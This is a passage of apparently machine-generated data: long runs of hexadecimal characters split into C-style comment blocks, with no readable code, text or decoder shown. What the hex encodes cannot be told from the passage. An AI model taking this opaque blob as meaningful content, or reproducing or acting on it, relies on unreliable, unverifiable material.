0eae270fe4432ce75ba7db697d1b067f13c4ca26e7da312c7b7215def085b479594ec63a6373a68dd3aaa1686e2469ffbeca0f75cff9195730825bc9ad1fde750841210296dc0e0f0d068a0ad57c19329523fd34703a30455d674ca6b17ef8ca8de842e924a0010a06fed2041361c22adade3cd7f1eaf4a2347acddc2e3650078d431fdda6e547b5b7684a848ff93a78d2d1a9f6e50f6a87d658467f5498a683f7dc16286b92d2bf16b17af45f8bd9eca88baf1c15591559020c16e9b4c42881801923e38eafa4459ee6c414468e7b1513b39377330ccca5e17ff981b1c1b04c220bbb289b3db97a965f1445aebb593f25e4905dc518d444edd945f31e0493d65311db60e397255834c2b2501954fbd656cf2c5f3f21dbfae931ae024b0b24035ae701428058b1eeea0323a0ce2cf8d6e1b7be935c88a3ceb282d72551eeccd476376ec13ee50ac47c74f0df5c6a0b083cc1093df5c7701f029b4fc5d15087b0e4c414bcbe79ccfd02d0030f2a72a4cb3f207562a9c007aeff9b1a1951f4a145fc1a607fcf883a49686f55dc00494fe0d1e7be34a0b73b4b2a1bb465e4d7b08576b6d60d8764edc1d41fd26729beed96e9e0fdeb76bdfadd078d5e11f182817fae4bac9667cd92815c260264ed18429fe03cb31430f991e56a1d9ed0d272d312e132a96c37dd53822842570c5295ad0ee61fa6e9779c6387154638a1bc809ccf8*/
/*781f403d8680fed370ae49e84fb984be89e9c8af5533df40613a1101168e50517dbdced3b8ff38f3f19d56ac282af7a7b7892d9db0b36606a0b2ec9fb56c4520dac9303b8aff7690cac37e8c02763ca64580cec2af1a9baa0b3a492fbb15ba34a37a4bfbed65073f73be10cfa9776bc76d63eee56b9af07abefb09ec40b15dff398e9f21c284daa172a477c3de8801250bcb3e371c120db187d8d42bb3201be906fd25060413c9208fedc34f611c743f0bfc88984410cde6695e2e7373c3ff31e68a9c00a447a315e9820fe7cd7d1cc12f776ebfc15359b8d010ae40bd01047662a5c6c22aee18896f609801c91ffedf43b63b1365e5d487e4b0bf47c19bcf410f275c8edd9e59339fdaf567efbed1b1745a3622761388b63c9ae08c0f75e342b41df6ebd3cf3f05e6d88ac7e45e0d5eb152c9b2eab489a5232a1d85f117d26ca4c867309c6c6edce4d10e21af825bdc48f248db355f9c62091eec1fd196d495d3fd73e4ca3b208599b6421b4ad415c7b82daf7dc13c9c935df044b7ccfcd94fae7a2e14aa80d0a69530d0fcd8143e750614c5add4c0bee1ba3d93b62de0b952465091ebd5ad470b20694b8ae4fb3e62177555677049803558d8de1eb3d9aa7f0773125592357487fdc761b1cd47ac6b2e91d1a13c61447e6b7afc06b7142090a85dd9b45eb532b365477a17c2665a2157e1214eedfb7bb70ceb6cf7924e0649cab835f587d3acf19c90b0c4f83f918a6737cf59cfd5cdac013712a4a0f2522750c71d6eb3e53618406750c5f00d0c667e879d5ba82b579de720b7b27a9c05cdeb877f5a597b398c2efdd8c6f9e723e2509d697db2914857964a2902fd47a83f8982dd41b534e0e7cbca50a82ad30d640247c4c9e77454f3b03704d357710c6137fc7e30aece3e8fb93f21bccee7b7c7b45dc9e69132beb3795de7d2c41e90cbe0d78e009f1d515b959731d85785eb324ae0f486c644ac4ddcf049e22d87945f761ee5db1cc83617743353d11d19854339486d7bb7390484141b6696158882811a3e88b36c19cf2eb0b7b2325200839fde3a1b8e7679b5c8b02282040c435f1f8800eed25d5daa14660a47f4212929ffffcc891b9142a3ae0b0611082b5af0c6fa8c2eb4c65314392e29fe10ac7189bddc1f78556d5745f7fedafe1e43c0cf47e68e8ed130d80c296ffb7c502581746f9d6deb2bf132c2f6be139fa8b47e81555e80ab60c72c0a0e131bd97089de18ca16308b9ee0129ba243d4834a5562736a6270af026ca2bc0ecb7c718fbb63895af61dea713f77efa4335541a0fa5f25ad25515ba6d455e6ca6ce11d7db92997500066a20d6bbc8039747d612246212157a28f29ddfcac98330e8d3a510209254e390d8ff0603dbea89aa6ec3304190917199d3729ad45cc272c823163cd0d7db3b3848f473d4b81af658872332e67524acc73eb41ca1663ee44a63b2199807c181f53de6e1801a64d7fc5862348b7f854f706a949a82b54d264a33df9bada02948ea77e1899db674104b253833b8b649c83db0cd35efc9b20a6e38565afd959e485ac7db9c47306fe8a03772a9e6557208d81c624ac18f6607a43c07057f302589b6b3e69c03d6f4c6c0b760a8372273917331296973c77c4061353ac603acde5302ea0fd9398ea7fc50b4ba5b2b6aa860b7aa9c8a077f0947b3295ea36924ee3b23da784640a6b5015c00a587d6bf7002ba3d98e1c4a66d2cb58d16127ec66cc4c4474fa5fec02e03719058474da2a12952b4ab62661aca5c7927adcb2e5fabde33eab164ccf71ddd11f2c3a17cf3678a03e386c2f8046151dba709044ad13d8b38c1e71c5cf8cfb3b6e5473841cbf05ce255df56b7c902ab4dbd8ad3f9f7f3c1fb5a18d5f7a4d3e813b98c8fc3173fb6dfa18b3073b60476d52a343a00eec7f5fcd3e900d9c723d0fb3b4fea3b8c1afa0d9317f5b6bbb48b3407128810f8dae53f9b004c10b5aeb4e3d93c187b1284e3d6f14de573744820f1959db80378f14bcc6196a7a950cdbed3e14561e968acb28a41282f5d168de178ff00737bbe51b1ce3e2cb6098c7c1ca665d268b85acedfad89d4a2af904e415c9b72932ac33aea940e4fff3511704112ecfda7019ee3426319c23a88f252edaae9dcab7976389d73e91aee9661036dd2953bd211541ca14c97c50f634b2707a6466e927c2019bc18ba88a75ac416a7e93ba31a7968ef37610b7e106e0244bffacf41a9777cc05382f368d7e679d29e84bf484577794639abf2b807f4e29e37dbe5ad8eeb03616de6af62f4def4bd124947a0bf8dbf1844da4a559966881bab532ce1eeeae1d53ab78e79679253fd54c495f5b7e96fee32a01beaf55da8777343cccb88f269cde8765cb9674b2141fe303c763fffd419d6f894e93eb18217b5db3301317a92f710b55f417ec197575115fad0ccdf94ea56fc5c22facd5da024f6c58bdcbce9f62b68051c0b257673593c0d856a87d742ce053a6f62ab475f4b50ae5d69eb808b3e05da08700864f7865ecb7b9e7adb26540aecf07ea5f04c6030b5b05b0a2639d0429e6f9e46c9816d5b3182e32a9fe5026772c6c81e0d099f359a63d6c7c3ab85559c04582097b2623a0b1236a80aee1fe265fbdc1feb9ab93f7615ad24e710e44f302bb98ed803f1c5d76f3ea2fc5b6d9589a7aa2a94e178339e92b09efea7fd2b5af7325a9d1354b14b795601d8c2e5deff16c9ae4800e54a26a80ecadf33974a8312d3a3d02d8f24771a4965aa02c7ae79ba38b16811f5261e9a19dd3a7d9767eb6009b87ed8e2e79f57370a4addf81f3558c4287db3bfe615f808da32b42*/
/*32c5778b474508b83cb553b73c6850ed8b01ab31fe6be7ddf2f6d0040d87269a2f686a274b5101085dbe2a3d8e115cf42ced0981104ee79a6eeb855468d6be759b37f1f16447fc25fbf28a65ea1e50808927add21e3c1395caba5e0e4a70c2a0342066560a2a74906343c7d2d417c506e53adc40f3a98ab92597e1784e231cd45fe4bd5c03f91c9d560bb54bb3a3ba19a888c26cc5faa809af0b92e79f8fbd7b2afa09d82456470e9440693960648d4e504c05df312ba748c171ff9f9dbf6ac72dc85c6398d34d430d4ed61074283be3a2a09b5497f4acd8b4db6924faadb220e44a5f0e931b4a11807e495a68405acf1e803aac6a6c11a0720a272baf6c331fbf8433d8466167543c5e86f6a65216526eb5201e2eb7946c70e9e13728f82cd14115e615aca8c75058cf5bf7426a1a9d86499a740b461af10925e370130dbed959bcebb0a8938cf72411c63982104585ca323babceeb7c32480980978cb969bf6776c69d5193ce7a9e006344670bd30883fa47921c5c6654f8e1e81722f9185657769784263e4d4d44ce4d83bf4df1b76912f68b5a701b7c92c20c34b64fdcb250f3eafb7814a7874dca2a82a0f76e20e861270fdb5d1f024d752f7b8e550c07dd6be3170b24765786e3d8fb70586d711d65e2d23683ef1f16d44770bf038d4eba110c45c02f804605548517eef401a8a5b9950a2a8adc63f8aa412eb95767b52f57d97709b069f970f1302971d312c12071f1ef949bd4f64fd449bd0aff4acb68d76bded6ff44afe0ac58a90acf6bfb34556606742be7a924d55fdff80cd048cd58cdaa733df8f379050b40fc7a87c04c19470d82d079271378110a87c823ffc0933ba4a984cc642a7f9a710e788a5fb7999e4b526c5425a02a402614b83651611c6aedf62a782727dd2febaf75967a82e5a7c484756c15ded3949eb113fcd5b6a4f501441d4dfb367854b7e28c466bb7b2ba86c6c1c244f80847221b9dae5e76b6e9f8a21d4a577f030da91a592703ac435d4e205f96ac0321c5ee98a1d30ef931a3f9ef0e254a1f07d74d8903486532f6279a38ca7bd0c8a3cc55098bcda21cb8ceeeddd4692b44ab0b6c2358b732536075be599893cd9dd1b6b912895fe81131eceecd58663038549640b6728d6fe6e0b1ab942977bb2a73c66daeff5eb6c108bd82139d6b6382344da98af86058d2ef82c34f04115f2fb00d814b03d3892c999d078d2b802c93be63ec625295296f82519e177cb21a9f5dd5bdc54440918186a8751663f474df7ef4b8d05da9d7bda249d839afec9534332d6b7c6d9ea499cc76bd2b7b5c41eee2ca964ffd4f54e2bae11a64fea5d8caaf0046be903b0860db00bde9858e22f0149f14fa6fe96ba3697709d76446b7a85873be3727531f4ea47f72ba8154d87294d58e1b61e48bd7920b981d9d555b1223332782cb145dbda6f47e0ac800e4e8195ac4aa7339ff341584ed6ec6b44f86a310472f0f08075775b08ffeb2e44edcc3b174680ac9df6dff78d4ba626c2215d7d5f8ae4baccab834047549db622904627e89aa73d3ac13c9db726eec08d41f74a49be25dda1a2b47d70ab04a14320a66a7f32cde57125bab15c5b1626206bef081a2c5e6b8f2a578825322b114108909a404e2ec492068953905fbc4a4a9b77c9b42e23dc651efe4cc968d76c446460c3c5c562f1b2222f28fdec66950b714ba767bb142c9cf8b112f50a3b34de14191e550126026fbf60d51bf2325db163eb15f9a255db117823e77040fcc17877333dba71f1d5c6c9f6bcf9331d8eb2c8f4ec69dfa1e8f86e30e29d7e7ce2255e134935ec0e700126c8dc000c961611b34c34fff902e536a4c5e990e544cf0ad76007babf714d9f3e5110b99772917fb9d529c8bdcdcfbf8a1a7264daa7d5c8a0807824ba8221ad72ca8329abc47306b752a0f82b553d1e73cb2d12d79ec4341b150f4984f5a58e1c691a54213d96ebc54f8a963e2b59f9cb98e71106793c43e0ee980e92decba4ceffa0c0aeeea3614a9f257d404b66ad101472b0868c69da26e05debcd95a16c4b0f28cbc3ef7206e7aba4d655b47774be7c8f07b538b71ed7678dacdb99d501489b8351f6423c62e877daf8896635be5ccecc4353846d165a4a78a946d23c72eb41b96023ed508866f1ee7705bee00cc0601039053b75aef76fab6046f7c489acfc19604741446f98e1905b0e7819cc64fcd7a79c2509cc6dadaa8850d5554758a30313f69a46e6dc6c68a880bfb8f90c15c6b4f631aca81f7580b50d3fe23d50bbe90a76fd1cecbfcb792acd028eb1eaef0a21c84b0692633e30a0ed31bcb0abc8c2c45c1e89d1277ed2a6557c308c5788040bef3f5f7fef61a9485b693b8d5805b0e939650f00f1e45a77d8ea609d720b396b08a986baad6e3cc8cdc440cd2920b56281c0d40dfb583e64716cefb389822b023b603b8feac1084e6f91ad1d454f2d10fc5d5b94efd3e0818434656eca8683bdadaceb9598ca446c50cf88467ffb0acf63dfe95f254d430956e0a9307c65d1303ab9835bf478b300c1b0fbe6979e546c8d4d811d5e1cdb69e169ee7773cdbbc1b0efa9fd2405b58f7290dc189f15b084ad57307ecbc35ee33082cbd57c3e04c7e473dda88493913e9675ea291cf2c6c61ba0990a26b6a826cc8213ef3aa96486d88c6eefd3b9c3feadf28de4b16f6935791d52b46e09769b4e0428e28cc0ba92b430baabf850c590a2f78f5f829e19fac714a4125ef6d21be8705cdfab64bcad0d0b9259c08cb35f48c43bc7e2cd0975ed4ce827b4383b6bb6c6cc8aca562b18f0cc558a734ea844c6336b291*/
/*2bf210d4fcb4575f8674b364ac6302d6bca83d743e4e01ce2cf10b1f563dc3c6e97728027e662da6db5c2d4e13b6f700fe46799b683045769ad19e591c5dfd1589334c71029f993c545113d1f9119525583b1355f842ccdbd56c82128e9530632dff2d3ace40df587b41ca968a6f64494c952ebd4d55cd64de4bd3bbb782654af0d8951f383a5693f16e95b83e44aec1c616b28e9dc5ddcfa63be33a1ef8bdc0fd59fec2078d14807f6dddcff3ae7d08457c04ebabc76c49d1649c8f52b7acd59a530c9c50fcd0e983d09fa37c8040647908ed15974cd1ea8ae223332d5beff2164ebb7d4966146f142e156cc5aca99b66be6b355c7c1aa1780c8c13d1a99fae4e90c6cbf599f8eb3276fa786f5025d2ce16014c1bff0fc824006f756066df1582cc7796aecd78a152f9ea2bb11a79ebab4c556d1f8ddd06d6c752cb322c2a540c70856cd1c61e6708999f850d8a7f9d40e6a76416f01944cbe65faa608b59a98f4145f0e39b68fb513b5b7bd04d82f7c289719099b9ed85b7a90ed2ce6b938daf19967d96e80ed8e3bfdb7423e3247435d347c383d707b65c3569a1305f5095b0d75909afe7dbf4a19c4d8c63c01cdf8a31f99ff7f0b1319ed1ecc795000dce467ff5dab945aa9049ea9a55e58007e55606781592bd06bcc214b9e892890c212ad88f5a4df658f7f026f1c301adb2b36c977caa7db2038780a70652c665c67efb3eb45e723e6226aa0c6eaec52ee56e99334c2d65df60026c3d97b42e52dbbbb5014f205c6b6fd10ae954d1e954f26c2b8ef1e0344fb253d31cac8f0ff4590120825646422af045837e887f00c4580b5e0eab29eca83190ef10a23c7ab1c28611fb8a34e1d4b3854d0da0c382694150fb1219a434278294cfcb4063863eaafc2440f27fbb4b60bf326a35f0b597869022be22ee4962ad238048811f9472377d71657c98c84891b14f624057b8d65dac423a1d62cf2820b731d763d2bc5d27fe4009c04361058446077e576fcc6aa3b2620f778551e55244cc017d5774f1caf4c96468eee08bd8d769645adf52f8e57f7604c93bce83d419cfdcd3c166c852d3f43fb999c67c2f83c491ed6de4b039e16c9512339906dad6038420a777e6511096da981e55436b59e63b826c424608f918fe6afb9c11db188d6923ae3fc38372ec92ad84ad91eadcfe7599f2ef75461d99d5f6083be6b18270bf5dc9470e0beb0e3f63fecf1fca1bca13f461f2523700089e098fd1c6737f92478da209fc6e8613c40bf5fb95fbc8ca7aa41210d663a6f468b41fe2c207890afddb7382931982d41d7eadb188f0ac506247f88a6b4985dd7ccc99e09207ef5d5b9e7c1b477af0351485ca10522321d399bc0fc3b702f9d28cc9cc0441ad7ea6bd3ccd28cd049b77be45a764460d4b98cbad8df6d4cd631bf1e95aa17b96ce086af2c82757941805adb90abc7385716e832284a23bbb8130d28b15e0311eaa116811a205057a11233b77dd579d69b1831dd7af57113002b1ec8720b3ff8861267e353bfb1fffa8d8dd1bc8c6d15d2c80f564cf10b9907c28f868f764441607afddb30fd2ec7bfbc8359c0073e470b1ff758c2af4452150fd6e54ddfa88c75551fcabda013f2f5f1d8547cd8a464ab1357d54e04dcb42c9571ec70c1be0b7e08034188dc67c7e21d9fc8251247ff08b53d30fbdcfad5d6c69b7755e8edb5f94ad1ccc01a64c85beb7b3ca33b94612ea4163d30dbda28a8547d32b00dd808180ca0df24c0812cb5d395372c813f12412491a00e2488120750db421c23d5f0013bc828139761847d6b7f57937f79e3d8d261146f5b57215daa574af18c114ec1cd64d4628cf89a7fe6231331f2b814d5b1891b5dd528de9441e34977084afc7184ed2301e168548d6bba8c128cf8bd2b3d2d6cd7c600338085a60f6b618b08044989d6d5b1af634758569ece043953ccbf6625b8d87222e8948e43edc4eaf52bb2a3a2e90477eb26da48886bf4124fd2fc24dfbf3b15e1ccaddac493b5062da3a01eb65213b6c72142fd539e0faf04fbc9bad890b1cd3cb481fe4cfd0c6671e22ccea16a07562fcc7b1ce3e6d4ebbeab963adbf1f88ada8bc6009f0ef2d0f1418f7e92722c50d56d63c73b2957e08ef5b4b442fdce296d11f1c3e708e6b8096b3b8a354fa3ff0db8f8c0825bd74d62675bfb812d4ef32b24617fec0d944c0d0b445a646dbe1135f0d9bece7b0e4ab8031a4f7befb4229c2ead4644b0e82f5e178abdf4ea7a1b824bf49b79f40fc37195c4d085518c967494b47ca30a37acbc34d6189c055c6914171465bf1163d87ce1457b7d20f1b816443542ba3ba4e45cbb9b8f6a0fb1e4edc3739cbeeef6436d8624a55bb0cbe3846106cbf2673a9d95b7cd00bdc8a44a986f12b64805116ff94f2b395ba30734a0e3032a98d4a2233ff4e7ebc6075f28fb08ade3beb97d072e085ca3f42b9401ba4c4576c78608dbc69f71cba6658bb9d27d0ce2cca3ddc4685a920598dd0c7f71bebc6fc720fa8f065aec90b68090df397d2798cd0c80e70471622a7ab42d226df0879abe5e931b6be0b68883a3fbcd59e0a11886c5e53ac7e2274b40e2f402fc9193137d3f3b4f3d6d9f46c312dccc1a9e7aa336503b10d6d53fb799c6792b60dd4f2c4acdba9a78267207e8439d6a33689f0a8f427d9488745955c81ce55df8f2e36368ecf5087fdf8432a6724d96d8341ed07734c41a8a3b3cd14f1b2e361add829fc5bd3d854076cec57826cf037ef3bce0da7d5e9639c1dbf841b5930badf44748dd8620d453d5160e5ea55dc5a072240350c154022c96cf21e96148b20b9b0*/
/*95ac54f981b64a4b98fb9f892392b046287183fdd451da1ce3ff4d2d639d4a9ae5b387548b607ec792db801e609fde18e8924e5f912d9379ae024f4b942cf489a0e6575479a994d9666feda70a428d89bc68d349f70b0f363e54728f3766a479fee6d0e99892df28f2f4765b83a090ba598c01aef22b80d961a4be248f37b94d14fb1403048503ccde3f7fc8a70f3024f227907ba6c60826a069b00fc29c84d8a35996e6d4cb853ed0c2f9bd658e8e011967ef5561236278b5f234af4f74b621a460764908fe7525e434d39c627c81c02d88eda79794e9158528114d3fac8ac120fa379a13776b9c2f24ed11255689721d6ff9d62d927f93d372605710229fdbb397d5c5a7e07b4ae7047fe18eb7bb37581acd7e136339335323d6a0c1e0909e4a3fba1de781594afb4ba89b97cb277ab36769cef39e1573f33b804127a13bc1a2bf64a443a93a3f559da71c5255b7f05fac7cf5d9b9ae5fd89fdb77253f103bc478742546b3f27b6f8ef38108480c8b89469e45de0d85d39ad2545cbecf1a20359f01c9b5b54b7a44c0d71217a9cb7a16e55e125865dd2cf981ce714b5c5e971025c8cb304e61c76422ec4f3f54e66710f6f1d55cba00ecaaa1e015d9aabde8c87c46249edac831e218b325bfc6a3f55243c392eb342b917fd8d468156637b871dd4cc626ee84dcd4c7aed0ddf8ad11cdc4fc92814468138ea5ee36ce0eb60770c3b68f8294dd9e15969263de1b34f747c60e87db66577480ca559a6726ba6368d490918bf82d9b0fcfd97f305183039a0084770fd444bbcbc7c5c8804247f1b4728a172b21c5bde81752d2a29a55303d82a6974e949dbe98e062c50ca534bb087fbbb152e6796c035c0f6270a3b980bdb5cea6863500fd96448eaa24dd7895820306dae47c74e4e3ca2b21006cae155dd09fc39f4c6c0b3fbec5d7a33d39a955170231d0742ec94a4158a7625a640840c414f1f5d41e18cd36054ac06ee75ee90a4589f5a04d8a0b79ebedafff766571f4ca719d76ebf70fa39c2647f546d840352656d89a5b5a1fae83347f533e74da8273477127fcdead5ac69efcf85aa2d8ff6418522ee14131bd739312a83cc600667169d51b0a7479dc5832190f8550b1b73f3631568bcadc9c7996cb270e1d7e716f0e89778c7f8917abcf22fe8460c088d58274c208a028cc114a56410bf6d9ab5896ca1e49ad8e1cc3e2144ffe14ee08b7006f840266068744a111eeab7b54ac162700db6c4bce7a39471653cccceac23c25a72d48fe60d1c11d57c9aa774a65274117cfa0fce273ccf6a35373cabfb11fb4ba1b576c64f38a2a370d3a3b749535e83913b88a851646e2b8de56a05f287ef0875a5a98a6e0e8bef46dd1986b9fc7b7d45614e042abc54f2f84b8378dd1597d05fc18b7d389e03d23ede9e0e872953383676d38d7e21c499ef30899689ea2809ccfb684bc45021b2e87920654652263253cf250bb2fb80a24113946a4a69254988a3ad611c4ab4236d287c47a4500dfb6793a2a9dcf677ae873179eddc51e825ebf6cf494fd276878d9e63230d0992d5c2b895cf659897c0e16f8e4cc1637b67c7ba064f2f16dc9be9f849021445bf53085f0a253033661d089ec990fce990fe536f0c1bf6549c27dfd5f124d8d658bf009b96f99a589053701476ef66c259b289d881d3babbf330502e720b17883fdcdd3f542663791e8d5c503dc0455010bdfc5f792dfa3f7104dcad12c65c53cc1d3832ca1d23767ae4b2dc4c19112ab8ee04f5c1fc05b2d6b4b9393b500a061ba4ec1edb3f23a2f79aa0599497e264d435874cecf085528e2edcf4d2455c95d622de7d91955e97f9df68915d0db12a6ef8ab442e1eadb1ce5abf3ad4f2f514c8d865872a03a2b50867847d5e7b6a5d51a9bb37e97f6189871a6d267e5f445920ac9144459da0dc4425c863dd7bbaf7e6c4737276838736e72ff22d4a3d60b5e6c7c021382833dbd943b94beb158b3b11f032ce38e873a510c11d00f24460563c940e121d57220708e02c267a72456783349981370ad5e0395aa7c002ae3b1f6e77c55eacde714b9c8f92a4e7fd90b0c561f7e61837663ef68a7b399fecf13e7453508f4043b449ede4551256c397812fdd48e273f3b9fcce6323bc46de6c2c52919fb697339884a58f56ca30cb04292af7c24e57c36e36b7a918cb971867f6f08ff6994bbbf908ecde4fb59df3a0e1065b6d05b21f21a98ecf8142c4eb626abc11a93272c9aa8bc291b0a238733d253d1e396eb0e9d4fd2cbd24175d767addbface2fdf98d3872b3955c50695090dc3b41442e1b78fe4c83892fd62c1c28666cc24f2046ffe10f926601c30bc44de4e6c6bd9ab3085bbbd9754e6b40e97d4105f6d97ad1ba58abd97252e81cd7a9ffb1c0fd0b6c05c2b7857c5c198fe549a6ccb7659e9e7dc37da872a60d8456e31e8322316986213960958f77b9c95c1b1b94bbb3db2649159abace16bfb6b750d2bafd3d00209724a7fd021fde1637740123afc56187fc6a37cc4646691b33c44d96b2c4165ebd20e94e236b8b35cf03ce99456fab7804afa81b4fe254c4998d2701008f3c07922944abf936cd02836bca0f4433de1660bcfe7c3571d7b10c749fc2c132c35b99df3eac5b5170a7d78ee4fdce2a181862df37928494dcac5eed627485dfbf5a5c141e7754637e8af0dbfef3e44772f1b3531b5dabf628d57279d1cbab1fc5432fed9fcde064f8a5fb8a60e1d71b1875a526e20047416de24f10315507a7f8b6877baf299e7662cc86d4742145dd014ecd96889b7a29e9254af9e6ab3b2242473d7816d4b0c1c6f23*/
/*43f58821d4c9fa1af36808dfca4879542ee4a88f3f81d4e12034f6ccc87531106d553fa0aeaed8830e56028c88addffeef8d997e1b42a4608a0610a999b64e0f7709679dd32b07baad379f3331e6b893af09794fd0aade48daae536b39326e4311270ecdb2dce5c6c159005b467cc2825113736b467055f0daefd1ef459f67cc74fb4346c715fe0559ea215409c8117fa4bef802b4bb5a79342901c11c891fb64451c8bbd2c5bc9ca51a830a35b8967282f4b577e89b305c581b9c07718e5c8e3d1ac81684f621e2e92a05720df4fb319f1c947af6576087b1e019fee10deabcfef32a95e0b95cacd6bfd34b96f9aeab1d4f9622664f6d483fac9102127a7ccff89e25098d1e57be89a5cbfcd825a7f3b105951b8a3a00e1e7fbfb5e9130e8162dea2c1658448b5fe5e53acec75c5e926f87fa1d61ce378221a55a6175e14cf33cc7491af3e507d3a62f3f28e9baec15046e81539eaf2b35dbb3ff22a1078e7792524b1b0f0ae7a7f044a6d48a2ae8cf9b5f627c1896e0692de85e22e1f81a7ede484ee1ca20de408fbd5681955c0aa21c768fc9fc09141b73e855bc5c572fb43d9a25ce75c802a9a91caa6a1fb3f409157d2dbfdc83b7ffe8619e61bee03f0cf24b762d614d13fc6922168b17b5da973a94ac5d057c26c5203362a2bde7e586f961bab3be2f3588299dd8a1f2bc37a581e6bbd57fe68e23dee8a6369e87de2c5bc63e454ee3e4d039bf8d26ce13c07f0f9813908a8242f51b79ab0ff74829b8bace5b9975f5f32193e8afc4e108c808133cc3f5b1686d079a2463d2a5ab3e925b4367a7fa8ab302ffc540eacbfd8262a5dea2b53a09b4a99baa20c3ff4b1d4d6c2a6f67d8df0a4f1b813eb0c9335deae7f602043f0cbdc3c81685670ed1cf5dd16b1f33926d526da05c6f84d32be36a866e6cdfadb836a2d55b859a36b837f8f3d8089f0c7402029669045fa53530ea08279a8076f5d1d95de4a364e73fe66745c62d514f9d8abf8bcb4dd1c6c66101a195b200c39670c6ce6bce5f194b846cf9de0f013f53a4b6491c546981ddcf42f082e01182ae4d7777982820ddc360af0d10b94e4432f9b02e60b183e16a97dab0980c58ef8b6e37632ea3574339b719ea4bd0f4d2492db2524bd707e5352cf929f08f74b19b16eee49973b8f8e4bdd56e122866813a0f8215b359bbe8f035ca2b516186b0cb1a839d2a07178869e61f236612b735959f418cae043697b2cb411fef00297fbfb0ccc85da341eccd5f337567b6194c0c8a207233a3a3befe98404d1677940a5dff87328d1c7b62d86f005726f0c2e3f13d62c4b13dbd0e94f24b3cc0d699ca631f3791e43efd6682c4fa37567d6a74237f8c24558a73d37a861162bae184ba744e494cc3b6ebbb4730ce0cf24287113766ae60a71da92429c4ee41deaf988da9130e496f20544fffa4c501b280160a3e078017041060b13401a29e4079d6fbcfa31c688987cb63de58c335a146f68e26730b91e6c42048b0c8cbac8d59df101c0870a2b8b67875b7a3deb80db8d0a3a7acb0266305b88005a7db1d5cd8f211b514a27e31263f8a4fb946c1c16ac9e8a88c4ed834bbf47b7206a4b461b7f5b0a34310f9fdaf4efb51d713c0128cd0c1d21a1a4491c6a4f49ee049d1f6a7f48924338a6c81e7fadf195ed02405e135250bed8324f1b647b27baec4557cde5a0367d50b6a04bed8f7d1d602a671d30e02eefb9aaf067251c59bf9668bd7ac372acb49cb4b4d83fbf2bbb28445921272e368a1d86c742da01df4117a9737d3812346b5076abbb0a5bc331345123699d5c276d2399063a0ca2930f38639985d5666ba4168a57603a5e236dfbafa82b0a8a0000f41491634ef3cc04be3e5f52e9199a7b64f4e6f0fd5a14a31e346ac82e59dad8b04b7f726ceb945714f7a27f8edbae85feb0931ec33e7aad70f5603210c87549e6a37181ecb9e2e7695f9adb97e2f8a51a0ad822eee0feba64075f100e45620a0ba52b6b93091acd246bd11be2aeda7306e7595dd766555ed09e0012d2b17bc2028b7be8026ead519d82f3409dfed3e38599f5c1d7e834ec0e9338a637ebbdc240a4791d4a7e905c9d4cd4bfb5fb37a7cbce92daa742d859f7db2ed9add0f2cc0bbf7c620f9c1569ad784fd180eae4e520136a95db1ae3a6396f97f272e01e87e5f021c8c66959cf4d464661a2c87be2f2543d67aab5a3c1ca8f152cd82ec41c6bcfb03424f611227ffcb84e5fbc5b3d92d1883823e1229d4e59cccb9f9601cb41558b916cd70612db383987e0b94160c49e9ac0ff03d95cb943ac5a647fc4d856e7fc87e89f566916e0e77cd335951b13d781e6e9359ca21eb7df434126671fecaec4dae610e665f5aba7ca5f739c46ce5def0de997bea89215baf1640956af1dcea20a4d3e271449bc1d2bd32b79fc51a9f6eeedd1cae6cad6120108aa68915417153dcb712d3dd1217f039bc8421f7ea0a56f4176bcd28a3f42f3cf6f8d92a7fa62891549af0aba3cc8ed77bcaf71271500c6e014b16024fc451603e91f1fbae74e0dee5bcf3b0b4c2b48b656b6e55a41f6a6f18628479cd01697a73d8a071e6f925e35746070b2417ea92e5a70f757c69ad4ea3b36d45cc6af54711a8b5375e7b82b995e0b3452ead79342bee744954c97158323fed78f8d0d4d344d9430efdb426bd1b7a0ce14fa990e94545d260fa22fb4b0b43a60f091aba0d21a8904e96c419cd70e1099bb2989c1620e4f7debf7f2f61cd4022bde1637a164b0419bc6762651b626dba387b50d793d33c4b46c503251aa775ec87e27bb4fa82bed5b1c7102d308285f22fd7*/
/*cbc5c4fe291d23a433b6e8f850820b8da5e2b13409d2034efb811d913683e9f3f1c9ccfd06574d4baaf0a76b297cb5dfcac4618f9de45eda569556a9143684fd198456f0b3e135e343d8203fa7b5541d407b0164e7d6664e200d8015c7abcf0bf75cdf029a3672e5d742197e86d431380a35dd6b5edba63d24bf623569cb829211d4c6d5ff645c9dee49f2b349cf24d201845fb64ba9f2fe6d485c11f311f3063c4e61ed70af165d106c0cf24bdd58507ed2ad655fd7c9da0bd58b0841b0244e679e3ba8293751cbc052cde662033bd6471fb26e1ec5bf63565923f6dabd3b95e80a44b374dc0ed5a3a0fef1be333257d5b7f00ab027e393ac07dbc97caa5658f6d5470b2770e16cf0062c90ede13ba414ff8789368873998584bcd15d36fbe80d16b1f22ee1aebb43e98dba8a8a9214f53c7b8243aeec7ac1f883bf20aee14bdb443a873379c5e63b01bf9326fcd82e312084e8ac8240ad202e4a887d0e86942e109d45b0962b32949e5b5d2b7f082e5ba387f350fe2c1c6d5fcc68c11d461fe7888ceda07be5fb8bacc1e5ad6ec6aee698ac3dfd523a75fed490229f6b80966e8c782818b7215f8ccf138c7212bd5438d2f5f55333ee0beb6062b093379c73fd5a7aac9576406a5e9c6008fa1a1f15c9265ebdbd7a3fa1c7a8041048a9ec91994cfe9d44b0e09fab7ad6fec8445748eac3b27b1c285e2965e36933c2f39ecd771d7efb42531354b597d27c2aa724cd316b5b37758024acdb6286578fa58d3212e949c0d051dce5f0a0e9dab5e325f0b99de8c73df66a96f956e99daafa80b3d957350ecd5c8f7789c588beec94b19bb0818db64adb67cc88c9bf8d68303a24039c7390c44b87e313c01734a4950e8d82423674266aa01adcca17a7179b4e4d478ad8dfb877cbe1b4da9d56bc625d13aa34ad22da711183ec67277b5be1842b60ffcbf310293875e3024b0f7fa8194b4eb9d750aad4806aef13c2eb3a732b5c82cdebf00b631a4231239ec0f5e1041a63b5f2354ede36b2f944b8f492159278e95b7c848ab9b7b062611c43b92439ed851039692e374dada7ba29df1c6bb518f5c92d3a064cced22cc7639dd6b0371d0795e53e66f9ff4e763c1f4bc98801cb5139ec3ecba766de4507b2d82b3b28e2a41ff8d56cc089994883d7c949b8f08af12b737a7d66eb1d7c18acd41cea6a309fc0eaa27fa64a4eb54d1705396cad9d43d4a57216eab45d392b071c05661f3d5f54d417b19c9553052c252e370f3ee282e1c0f1617b46852a724612168ab9d549bac48e404972f2f9c6632ebe4cefd151aafbf843dfc4a34cc2167ebf1a4343b9b5f9a578a236ba52f4a5672019b51f2e1ae18c5cdf5ceb1bd